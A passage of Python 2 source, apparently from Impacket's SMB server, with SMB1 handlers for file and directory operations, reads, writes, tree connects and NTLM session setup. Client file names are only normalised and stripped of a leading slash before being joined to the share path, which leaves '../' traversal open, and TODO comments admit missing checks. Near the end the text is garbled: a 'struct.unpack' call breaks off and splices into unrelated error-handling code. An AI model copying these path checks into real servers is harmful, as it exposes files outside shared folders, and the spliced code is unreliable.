errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComCreateDirectory(connId, smbServer, SMBCommand,recvPacket ):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
respParameters = ''
respData = ''
comCreateDirectoryData= smb.SMBCreateDirectory_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data'])
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
errorCode = STATUS_SUCCESS
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comCreateDirectoryData['DirectoryName']).replace('\\','/'))
if len(fileName) > 0:
if fileName[0] == '/' or fileName[0] == '\\':
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
if os.path.exists(pathName):
errorCode = STATUS_OBJECT_NAME_COLLISION
# TODO: More checks here in the future.. Specially when we support
# user access
else:
try:
os.mkdir(pathName)
except Exception, e:
smbServer.log("smbComCreateDirectory: %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComRename(connId, smbServer, SMBCommand, recvPacket ):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_RENAME)
respParameters = ''
respData = ''
comRenameData = smb.SMBRename_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data'])
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
errorCode = STATUS_SUCCESS
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
oldFileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comRenameData['OldFileName']).replace('\\','/'))
newFileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comRenameData['NewFileName']).replace('\\','/'))
if len(oldFileName) > 0 and (oldFileName[0] == '/' or oldFileName[0] == '\\'):
# strip leading '/'
oldFileName = oldFileName[1:]
oldPathName = os.path.join(path,oldFileName)
if len(newFileName) > 0 and (newFileName[0] == '/' or newFileName[0] == '\\'):
# strip leading '/'
newFileName = newFileName[1:]
newPathName = os.path.join(path,newFileName)
if os.path.exists(oldPathName) is not True:
errorCode = STATUS_NO_SUCH_FILE
# TODO: More checks here in the future.. Specially when we support
# user access
else:
try:
os.rename(oldPathName,newPathName)
except OSError, e:
smbServer.log("smbComRename: %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComDelete(connId, smbServer, SMBCommand, recvPacket ):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE)
respParameters = ''
respData = ''
comDeleteData = smb.SMBDelete_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data'])
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
errorCode = STATUS_SUCCESS
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comDeleteData['FileName']).replace('\\','/'))
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
if os.path.exists(pathName) is not True:
errorCode = STATUS_NO_SUCH_FILE
# TODO: More checks here in the future.. Specially when we support
# user access
else:
try:
os.remove(pathName)
except OSError, e:
smbServer.log("smbComDelete: %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComDeleteDirectory(connId, smbServer, SMBCommand, recvPacket ):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
respParameters = ''
respData = ''
comDeleteDirectoryData= smb.SMBDeleteDirectory_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data'])
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
errorCode = STATUS_SUCCESS
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comDeleteDirectoryData['DirectoryName']).replace('\\','/'))
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
if os.path.exists(pathName) is not True:
errorCode = STATUS_NO_SUCH_FILE
# TODO: More checks here in the future.. Specially when we support
# user access
else:
try:
os.rmdir(pathName)
except OSError, e:
smbServer.log("smbComDeleteDirectory: %s" % e,logging.ERROR)
if e.errno == errno.ENOTEMPTY:
errorCode = STATUS_DIRECTORY_NOT_EMPTY
else:
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComWriteAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
respParameters = smb.SMBWriteAndXResponse_Parameters()
respData = ''
if SMBCommand['WordCount'] == 0x0C:
writeAndX = smb.SMBWriteAndX_Parameters_Short(SMBCommand['Parameters'])
writeAndXData = smb.SMBWriteAndX_Data_Short()
else:
writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters'])
writeAndXData = smb.SMBWriteAndX_Data()
writeAndXData['DataLength'] = writeAndX['DataLength']
writeAndXData['DataOffset'] = writeAndX['DataOffset']
writeAndXData.fromString(SMBCommand['Data'])
if connData['OpenedFiles'].has_key(writeAndX['Fid']):
fileHandle = connData['OpenedFiles'][writeAndX['Fid']]['FileHandle']
errorCode = STATUS_SUCCESS
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
offset = writeAndX['Offset']
if writeAndX.fields.has_key('HighOffset'):
offset += (writeAndX['HighOffset'] << 32)
# If we're trying to write past the file end we just skip the write call (Vista does this)
if os.lseek(fileHandle, 0, 2) >= offset:
os.lseek(fileHandle,offset,0)
os.write(fileHandle,writeAndXData['Data'])
else:
sock = connData['OpenedFiles'][writeAndX['Fid']]['Socket']
sock.send(writeAndXData['Data'])
respParameters['Count'] = writeAndX['DataLength']
respParameters['Available']= 0xff
except Exception, e:
smbServer.log('smbComWriteAndx: %s' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComRead(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ)
respParameters = smb.SMBReadResponse_Parameters()
respData = smb.SMBReadResponse_Data()
comReadParameters = smb.SMBRead_Parameters(SMBCommand['Parameters'])
if connData['OpenedFiles'].has_key(comReadParameters['Fid']):
fileHandle = connData['OpenedFiles'][comReadParameters['Fid']]['FileHandle']
errorCode = STATUS_SUCCESS
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
# TODO: Handle big size files
os.lseek(fileHandle,comReadParameters['Offset'],0)
content = os.read(fileHandle,comReadParameters['Count'])
else:
sock = connData['OpenedFiles'][comReadParameters['Fid']]['Socket']
content = sock.recv(comReadParameters['Count'])
respParameters['Count'] = len(content)
respData['DataLength'] = len(content)
respData['Data'] = content
except Exception, e:
smbServer.log('smbComRead: %s ' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComReadAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ_ANDX)
respParameters = smb.SMBReadAndXResponse_Parameters()
respData = ''
if SMBCommand['WordCount'] == 0x0A:
readAndX = smb.SMBReadAndX_Parameters2(SMBCommand['Parameters'])
else:
readAndX = smb.SMBReadAndX_Parameters(SMBCommand['Parameters'])
if connData['OpenedFiles'].has_key(readAndX['Fid']):
fileHandle = connData['OpenedFiles'][readAndX['Fid']]['FileHandle']
errorCode = 0
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
offset = readAndX['Offset']
if readAndX.fields.has_key('HighOffset'):
offset += (readAndX['HighOffset'] << 32)
os.lseek(fileHandle,offset,0)
content = os.read(fileHandle,readAndX['MaxCount'])
else:
sock = connData['OpenedFiles'][readAndX['Fid']]['Socket']
content = sock.recv(readAndX['MaxCount'])
respParameters['Remaining'] = 0xffff
respParameters['DataCount'] = len(content)
respParameters['DataOffset'] = 59
respParameters['DataCount_Hi'] = 0
respData = content
except Exception, e:
smbServer.log('smbComReadAndX: %s ' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbQueryInformation(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION)
respParameters = smb.SMBQueryInformationResponse_Parameters()
respData = ''
queryInformation= smb.SMBQueryInformation_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data'])
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
fileSize, lastWriteTime, fileAttributes = queryFsInformation(
connData['ConnectedShares'][recvPacket['Tid']]['path'],
decodeSMBString(recvPacket['Flags2'],queryInformation['FileName']))
respParameters['FileSize'] = fileSize
respParameters['LastWriteTime'] = lastWriteTime
respParameters['FileAttributes'] = fileAttributes
errorCode = STATUS_SUCCESS
else:
# STATUS_SMB_BAD_TID
errorCode = STATUS_SMB_BAD_TID
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbQueryInformationDisk(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION_DISK)
respParameters = smb.SMBQueryInformationDiskResponse_Parameters()
respData = ''
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
totalUnits, freeUnits = queryDiskInformation(
connData['ConnectedShares'][recvPacket['Tid']]['path'])
respParameters['TotalUnits'] = totalUnits
respParameters['BlocksPerUnit'] = 1
respParameters['BlockSize'] = 1
respParameters['FreeUnits'] = freeUnits
errorCode = STATUS_SUCCESS
else:
# STATUS_SMB_BAD_TID
respData = ''
respParameters = ''
errorCode = STATUS_SMB_BAD_TID
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComEcho(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
respParameters = smb.SMBEchoResponse_Parameters()
respData = smb.SMBEchoResponse_Data()
echoData = smb.SMBEcho_Data(SMBCommand['Data'])
respParameters['SequenceNumber'] = 1
respData['Data'] = echoData['Data']
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
errorCode = STATUS_SUCCESS
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComTreeDisconnect(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_DISCONNECT)
# Check if the Tid matches the Tid trying to disconnect
respParameters = ''
respData = ''
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
smbServer.log("Disconnecting Share(%d:%s)" % (recvPacket['Tid'],connData['ConnectedShares'][recvPacket['Tid']]['shareName']))
del(connData['ConnectedShares'][recvPacket['Tid']])
errorCode = STATUS_SUCCESS
else:
# STATUS_SMB_BAD_TID
errorCode = STATUS_SMB_BAD_TID
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComLogOffAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOGOFF_ANDX)
# Check if the Uid matches the user trying to logoff
respParameters = ''
respData = ''
if recvPacket['Uid'] != connData['Uid']:
# STATUS_SMB_BAD_UID
errorCode = STATUS_SMB_BAD_UID
else:
errorCode = STATUS_SUCCESS
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
connData['Uid'] = 0
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComQueryInformation2(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION2)
respParameters = smb.SMBQueryInformation2Response_Parameters()
respData = ''
queryInformation2 = smb.SMBQueryInformation2_Parameters(SMBCommand['Parameters'])
errorCode = 0xFF
if connData['OpenedFiles'].has_key(queryInformation2['Fid']):
errorCode = STATUS_SUCCESS
pathName = connData['OpenedFiles'][queryInformation2['Fid']]['FileName']
try:
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)
respParameters['CreateDate'] = getSMBDate(ctime)
respParameters['CreationTime'] = getSMBTime(ctime)
respParameters['LastAccessDate'] = getSMBDate(atime)
respParameters['LastAccessTime'] = getSMBTime(atime)
respParameters['LastWriteDate'] = getSMBDate(mtime)
respParameters['LastWriteTime'] = getSMBTime(mtime)
respParameters['FileDataSize'] = size
respParameters['FileAllocationSize'] = size
attribs = 0
if os.path.isdir(pathName):
attribs = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
if os.path.isfile(pathName):
attribs = smb.SMB_FILE_ATTRIBUTE_NORMAL
respParameters['FileAttributes'] = attribs
except Exception, e:
smbServer.log('smbComQueryInformation2 %s' % e,logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket):
# TODO: Fully implement this
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
respParameters = smb.SMBNtCreateAndXResponse_Parameters()
respData = ''
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
#if ntCreateAndXParameters['CreateFlags'] & 0x10: # NT_CREATE_REQUEST_EXTENDED_RESPONSE
# respParameters = smb.SMBNtCreateAndXExtendedResponse_Parameters()
# respParameters['VolumeGUID'] = '\x00'
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
# If we have a rootFid, the path is relative to that fid
errorCode = STATUS_SUCCESS
if ntCreateAndXParameters['RootFid'] > 0:
path = connData['OpenedFiles'][ntCreateAndXParameters['RootFid']]['FileName']
LOG.debug("RootFid present %s!" % path)
else:
if connData['ConnectedShares'][recvPacket['Tid']].has_key('path'):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
else:
path = 'NONE'
errorCode = STATUS_ACCESS_DENIED
deleteOnClose = False
fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
createDisposition = ntCreateAndXParameters['Disposition']
mode = 0
if createDisposition == smb.FILE_SUPERSEDE:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb.FILE_OVERWRITE_IF == smb.FILE_OVERWRITE_IF:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb.FILE_OVERWRITE == smb.FILE_OVERWRITE:
if os.path.exists(pathName) is True:
mode |= os.O_TRUNC
else:
errorCode = STATUS_NO_SUCH_FILE
elif createDisposition & smb.FILE_OPEN_IF == smb.FILE_OPEN_IF:
if os.path.exists(pathName) is True:
mode |= os.O_TRUNC
else:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb.FILE_CREATE == smb.FILE_CREATE:
if os.path.exists(pathName) is True:
errorCode = STATUS_OBJECT_NAME_COLLISION
else:
mode |= os.O_CREAT
elif createDisposition & smb.FILE_OPEN == smb.FILE_OPEN:
if os.path.exists(pathName) is not True and smbServer.getRegisteredNamedPipes().has_key(unicode(pathName)) is not True:
errorCode = STATUS_NO_SUCH_FILE
if errorCode == STATUS_SUCCESS:
desiredAccess = ntCreateAndXParameters['AccessMask']
if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ):
mode |= os.O_RDONLY
if (desiredAccess & smb.FILE_WRITE_DATA) or (desiredAccess & smb.GENERIC_WRITE):
if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ):
mode |= os.O_RDWR #| os.O_APPEND
else:
mode |= os.O_WRONLY #| os.O_APPEND
if desiredAccess & smb.GENERIC_ALL:
mode |= os.O_RDWR #| os.O_APPEND
createOptions = ntCreateAndXParameters['CreateOptions']
if mode & os.O_CREAT == os.O_CREAT:
if createOptions & smb.FILE_DIRECTORY_FILE == smb.FILE_DIRECTORY_FILE:
try:
# Let's create the directory
os.mkdir(pathName)
mode = os.O_RDONLY
except Exception, e:
smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName,mode,e),logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
if createOptions & smb.FILE_NON_DIRECTORY_FILE == smb.FILE_NON_DIRECTORY_FILE:
# If the file being opened is a directory, the server MUST fail the request with
# STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server
# response.
if os.path.isdir(pathName) is True:
errorCode = STATUS_FILE_IS_A_DIRECTORY
if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
deleteOnClose = True
if errorCode == STATUS_SUCCESS:
try:
if os.path.isdir(pathName) and sys.platform == 'win32':
fid = VOID_FILE_DESCRIPTOR
else:
if sys.platform == 'win32':
mode |= os.O_BINARY
if smbServer.getRegisteredNamedPipes().has_key(unicode(pathName)):
fid = PIPE_FILE_DESCRIPTOR
sock = socket.socket()
sock.connect(smbServer.getRegisteredNamedPipes()[unicode(pathName)])
else:
fid = os.open(pathName, mode)
except Exception, e:
smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName,mode,e),logging.ERROR)
#print e
fid = 0
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode == STATUS_SUCCESS:
# Simple way to generate a fid
if len(connData['OpenedFiles']) == 0:
fakefid = 1
else:
fakefid = connData['OpenedFiles'].keys()[-1] + 1
respParameters['Fid'] = fakefid
respParameters['CreateAction'] = createDisposition
if fid == PIPE_FILE_DESCRIPTOR:
respParameters['FileAttributes'] = 0x80
respParameters['IsDirectory'] = 0
respParameters['CreateTime'] = 0
respParameters['LastAccessTime'] = 0
respParameters['LastWriteTime'] = 0
respParameters['LastChangeTime'] = 0
respParameters['AllocationSize'] = 4096
respParameters['EndOfFile'] = 0
respParameters['FileType'] = 2
respParameters['IPCState'] = 0x5ff
else:
if os.path.isdir(pathName):
respParameters['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
respParameters['IsDirectory'] = 1
else:
respParameters['IsDirectory'] = 0
respParameters['FileAttributes'] = ntCreateAndXParameters['FileAttributes']
# Let's get this file's information
respInfo, errorCode = queryPathInformation('',pathName,level= smb.SMB_QUERY_FILE_ALL_INFO)
if errorCode == STATUS_SUCCESS:
respParameters['CreateTime'] = respInfo['CreationTime']
respParameters['LastAccessTime'] = respInfo['LastAccessTime']
respParameters['LastWriteTime'] = respInfo['LastWriteTime']
respParameters['LastChangeTime'] = respInfo['LastChangeTime']
respParameters['FileAttributes'] = respInfo['ExtFileAttributes']
respParameters['AllocationSize'] = respInfo['AllocationSize']
respParameters['EndOfFile'] = respInfo['EndOfFile']
else:
respParameters = ''
respData = ''
if errorCode == STATUS_SUCCESS:
# Let's store the fid for the connection
# smbServer.log('Create file %s, mode:0x%x' % (pathName, mode))
connData['OpenedFiles'][fakefid] = {}
connData['OpenedFiles'][fakefid]['FileHandle'] = fid
connData['OpenedFiles'][fakefid]['FileName'] = pathName
connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose
if fid == PIPE_FILE_DESCRIPTOR:
connData['OpenedFiles'][fakefid]['Socket'] = sock
else:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComOpenAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_OPEN_ANDX)
respParameters = smb.SMBOpenAndXResponse_Parameters()
respData = ''
openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters'])
openAndXData = smb.SMBOpenAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
openedFile, mode, pathName, errorCode = openFile(path,
decodeSMBString(recvPacket['Flags2'],openAndXData['FileName']),
openAndXParameters['DesiredAccess'],
openAndXParameters['FileAttributes'],
openAndXParameters['OpenMode'])
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode == STATUS_SUCCESS:
# Simple way to generate a fid
fid = len(connData['OpenedFiles']) + 1
if len(connData['OpenedFiles']) == 0:
fid = 1
else:
fid = connData['OpenedFiles'].keys()[-1] + 1
respParameters['Fid'] = fid
if mode & os.O_CREAT:
# File did not exist and was created
respParameters['Action'] = 0x2
elif mode & os.O_RDONLY:
# File existed and was opened
respParameters['Action'] = 0x1
elif mode & os.O_APPEND:
# File existed and was opened
respParameters['Action'] = 0x1
else:
# File existed and was truncated
respParameters['Action'] = 0x3
# Let's store the fid for the connection
#smbServer.log('Opening file %s' % pathName)
connData['OpenedFiles'][fid] = {}
connData['OpenedFiles'][fid]['FileHandle'] = openedFile
connData['OpenedFiles'][fid]['FileName'] = pathName
connData['OpenedFiles'][fid]['DeleteOnClose'] = False
else:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
resp = smb.NewSMBPacket()
resp['Flags1'] = smb.SMB.FLAGS1_REPLY
resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Pid'] = connData['Pid']
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
respData = smb.SMBTreeConnectAndXResponse_Data()
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
if treeConnectAndXParameters['Flags'] & 0x8:
respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
treeConnectAndXData.fromString(SMBCommand['Data'])
errorCode = STATUS_SUCCESS
## Process here the request, does the share exist?
UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
# Is this a UNC?
if ntpath.ismount(UNCOrShare):
path = UNCOrShare.split('\\')[3]
else:
path = ntpath.basename(UNCOrShare)
share = searchShare(connId, path, smbServer)
if share is not None:
# Simple way to generate a Tid
if len(connData['ConnectedShares']) == 0:
tid = 1
else:
tid = connData['ConnectedShares'].keys()[-1] + 1
connData['ConnectedShares'][tid] = share
connData['ConnectedShares'][tid]['shareName'] = path
resp['Tid'] = tid
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
else:
smbServer.log("TreeConnectAndX not found %s" % path, logging.ERROR)
errorCode = STATUS_OBJECT_PATH_NOT_FOUND
resp['ErrorCode'] = errorCode >> 16
resp['ErrorClass'] = errorCode & 0xff
##
respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
if path == 'IPC$':
respData['Service'] = 'IPC'
else:
respData['Service'] = path
respData['PadLen'] = 0
respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp['Uid'] = connData['Uid']
resp.addCommand(respSMBCommand)
smbServer.setConnectionData(connId, connData)
return None, [resp], errorCode
@staticmethod
def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
# From [MS-SMB]
# When extended security is being used (see section 3.2.4.2.4), the
# request MUST take the following form
# [..]
# WordCount (1 byte): The value of this field MUST be 0x0C.
if SMBCommand['WordCount'] == 12:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
respData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags = recvPacket['Flags2'])
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
rawNTLM = False
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] == ASN1_AID:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
if len(blob['MechTypes'][0]) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['MechTypes'][0]
if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:
# Nope, do we know it?
if MechTypes.has_key(mechType):
mechStr = MechTypes[mechType]
else:
mechStr = hexlify(mechType)
smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
# We don't know the token, we answer back again saying
# we just support NTLM.
# ToDo: Build this into a SPNEGO_NegTokenResp()
respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken
respData['NativeOS'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
respData['NativeLanMan'] = encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS())
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
elif struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] == ASN1_SUPPORTED_MECH:
# AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# No GSSAPI stuff, raw NTLMSSP
rawNTLM = True
token = sessionSetupData['SecurityBlob']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack('> 16
packet['ErrorClass'] = errorCode & 0xff
return None, [packet], errorCode
class SMB2Commands:
@staticmethod
